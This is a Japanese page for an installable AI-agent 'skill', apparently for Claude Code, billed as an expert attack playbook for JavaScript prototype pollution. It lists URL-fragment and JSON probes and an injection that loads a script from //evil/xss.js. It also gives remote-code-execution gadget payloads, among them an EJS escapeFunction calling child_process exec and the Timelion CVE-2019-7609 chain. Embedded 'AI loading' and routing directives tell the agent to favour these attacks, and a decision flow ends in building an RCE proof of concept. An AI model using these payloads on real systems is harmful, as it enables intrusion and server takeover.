prototype-pollution について
JavaScript のクライアント側・サーバー側のプロトタイプ汚染を調べるセキュリティテスト向け手引きです。パーサーの挙動、ブラックボックス検出、汚染後のガジェット連鎖を扱います。
主な機能
- 01__proto__ と constructor.prototype の経路比較
- 02深いマージ処理の脆弱性確認
- 03クライアントとサーバーの挙動調査
- 04EJS や child_process のガジェット連鎖
- 05関連する検出ツールの紹介
活用シーン
- 01URL クエリや JSON 入力のオブジェクトマージを検査
- 02後続リクエストでサーバー側の汚染を確認
- 03汚染がテンプレートやコマンド実行のシンクに達するか評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill prototype-pollutionインストール後、Claude Code で/prototype-pollutionを入力して読み込まれたか確認します。
詳細
スキル:プロトタイプ汚染 — エキスパート向け攻撃プレイブック
AI 読み込み指示:クライアントおよびサーバー JS における、エキスパート向けのプロトタイプ汚染です。
__proto__とconstructor.prototypeの違い、マージシンクの検出、Express/qs 形式のブラックボックスプローブ、ガジェットチェーン(EJS、Timelion クラスのパターン、child_process/NODE_OPTIONS)を扱います。オブジェクトスプレッドとプロトタイプ継承の知識を前提とし、パーサーの挙動と汚染後のシンクに焦点を当てます。
ルーティングに関する注意:深いマージ、再帰的な assign、JSON.parse の後に続く Object.assign、または URL クエリのネストオブジェクトへの変換を見かけたら、PP を優先してください。
0. クイックスタート
クライアント側の最初のプローブ
#__proto__[polluted]=1
#__proto__[polluted]=polluted
#constructor[prototype][polluted]=1
入力が DOM やフレームワークのルーティングに反映される場合は、alert(1)/console のチェックと組み合わせて、グローバルオブジェクトのプロパティが汚染されたかどうかを確認します。
#__proto__[xxx]=alert(1)
サーバー側の最初のプローブ(JSON/フォーム)
{"__proto__":{"polluted":true}}
{"constructor":{"prototype":{"polluted":true}}}
送信後、関係のない後続レスポンスに異常なヘッダー、ステータス、JSON の空白が現れないか、またはアプリケーションのロジックが Object.prototype.polluted を読み取っていないかを確認します(§3 の検出表を参照)。
簡易判定
対象コードで lodash.merge、deep-extend、hoek.applyToDefaults、または一部の qs/query-string 設定を使用している場合は、優先度を上げてください。
1. 仕組み
プロトタイプチェーン:obj.key にアクセスしたとき、obj に自身のプロパティ key がなければ、検索は [[Prototype]] をたどって Object.prototype まで進みます。
__proto__:多くのパーサーは、リテラルキー __proto__ を、子プロパティをプロトタイプに追加する特殊なパスとして扱います。{ "__proto__": { "x": 1 } } のマージは、実装とパッチレベルによっては Object.prototype.x = 1 と同等になることがあります。
constructor.prototype:constructor は通常、オブジェクトのコンストラクター関数を指し、constructor.prototype はそのコンストラクターのプロトタイプオブジェクトです。通常のオブジェクトでは、これは一般に Object.prototype に連結されています。パスの例:
{"constructor":{"prototype":{"polluted":1}}}
これは常に __proto__ と同等とは限りません(フィルタリング、JSON 解析、Bun/Node の違いによります)。そのため、両方のパスをテストしてください。
根本的な問題:これは単なる「パラメーターが 1 つ増える」問題ではありません。分離されていないマージロジックでは、攻撃者が制御するキーがプロトタイプオブジェクトを指し、悪意のあるプロパティをグローバルな、または共有のテンプレートコンテキストに与えます。そのプロパティを後続のコードが通常どおり読み取ることで、ガジェットが発動します。
2. クライアント側の検出
URL フラグメント
https://app.example/page#__proto__[admin]=1
https://app.example/#__proto__[xxx]=alert(1)
ルーターやアナリティクスのコードがフラグメントをオブジェクトに解析してからマージする場合、汚染が発生する可能性があります。
constructor.prototype パス
#constructor[prototype][role]=admin
DOM/属性インジェクションのアイデア
フレームワークが属性名をオブジェクトキーとしてマージする場合:
__proto__[src]=//evil/xss.js
イベントハンドラー形式のキー(実装に依存):
__proto__[onerror]=alert(1)
検証:フラグメントなしで新しいページを開き、コンソールでテスト用キーが Object.prototype に残っているか確認します。拡張機能や DevTools の干渉も考慮してください。
3. サーバーサイドの検出(Express / Node、ブラックボックス)
以下のペイロードは、body/query が qs または同様のパーサー(body-parser など)によってオブジェクトに深く解析されることを前提としています。現在のエンドポイントの戻り値だけでなく、グローバルな副作用を観察してください。
| ペイロード(JSON の例) | 期待される観測シグナル |
|---|---|
{"__proto__":{"parameterLimit":1}} | 後続のリクエストで複数パラメーターの解析が無視される、または異常になる(qs スタイルの parameterLimit) |
{"__proto__":{"ignoreQueryPrefix":true}} | ??foo=bar のような二重疑問符のプレフィックスが受け入れられる、または挙動が大きく変化する |
{"__proto__":{"allowDots":true}} | ?foo.bar=baz のようなネストされたキーがドット記法で展開される |
{"__proto__":{"json spaces":" "}} | JSON シリアライズされたレスポンスに余分なスペースが入る(JSON.stringify のスペース設定が汚染される) |
{"__proto__":{"exposedHeaders":["foo"]}} | CORS レスポンスに foo 関連のヘッダーが含まれる(フレームワークがプロトタイプから設定を読み取る場合) |
{"__proto__":{"status":510}} | 一部のレスポンスのステータスが 510 または別の異常なコードに変化する(アプリがオブジェクトから status を読み取る) |
運用上のヒント:最初に汚染リクエストを送信し、その後にクリーンなリクエストを送信して、影響が持続するか確認してください。コネクションプールとワーカーのライフサイクルによって、影響がグローバルに見えるかどうかが変わります。
4. エクスプロイトガジェット
| ターゲット/シナリオ | ペイロードまたはパターン | 備考 |
|---|---|---|
| EJS | {"__proto__":{"client":1,"escapeFunction":"JSON.stringify; process.mainModule.require('child_process').exec('COMMAND')"}} | escapeFunction などのテンプレートエンジンのオプションが汚染されたプロトタイプから読み取られる場合、RCE につながる可能性があります。バージョンや設定への依存性が非常に高いです |
| Timelion の式チェーン(CVE-2019-7609) | .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("COMMAND")') | 過去のチェーン:プロトタイプ汚染とタイムライン式の実行を組み合わせたものです。式と PP の組み合わせを理解するのに役立ちます |
Node の child_process | shell、argv0、env、NODE_OPTIONS などを汚染する(exec/fork のオプションオブジェクトにマージされるもの) | 後続のコードが spawn/fork を呼び出し、プロトタイプチェーンからオプションを読み取るかどうかによります |
| 汎用の constructor パス | {"constructor":{"prototype":{"foo":"bar"}}} | __proto__ キーのみをフィルタリングする脆弱な検証を回避します |
チェーンの考え方:汚染 -> 依存関係が hasOwnProperty を使わずに obj.settings.xxx を読み取る -> RCE/SSRF/パストラバーサル。
5. ツール
| プロジェクト | 目的 |
|---|---|
| yeswehack/pp-finder | PP の影響を受けやすいマージ箇所やパターンの特定に役立ちます |
| yuske/silent-spring | プロトタイプ汚染の攻撃対象面に関する調査と検出 |
| yuske/server-side-prototype-pollution | サーバーサイド PP のテストスイート/手法 |
| BlackFan/client-side-prototype-pollution | ブラウザー側の PP の事例とペイロード |
| portswigger/server-side-prototype-pollution | Burp エコシステムの拡張機能/参考資料 |
| msrkp/PPScan | スキャン/検証用ヘルパー |
許可されたターゲットでの使用を優先してください。自動化ツールは、状態を保持するアプリケーションに副作用を引き起こす可能性があります。
6. 判断フロー
Input merged into nested object?
(query, JSON, GraphQL vars, YAML→JSON)
|
NO --------------+-------------- YES
| |
Other vuln class Parser allows __proto__ /
constructor.prototype keys?
|
NO --------------+-------------- YES
| |
Check unicode / Confirm global effect:
bypass of key names clean follow-up request
| |
+--------------+----------------+
|
v
Gadget present? (template, spawn, JSON.stringify opts, CORS)
|
NO ------------------+------------------ YES
| |
Report PP as DoS / Build minimal RCE or
logic impact high-impact PoC
| |
+---------------------+-------------------+
|
v
Client-side: fragment / DOM / third-party script
Server-side: qs/body-parser/lodash/deep-merge version audit
関連するルーティング
- 入力ルーティングと複数のインジェクションの並列エントリ -> インジェクションテストルーター。
- テンプレート実行チェーン(PP 以外) -> SSTI。
- 安全でないデシリアライズ(JS プロトタイプ以外) -> デシリアライズ。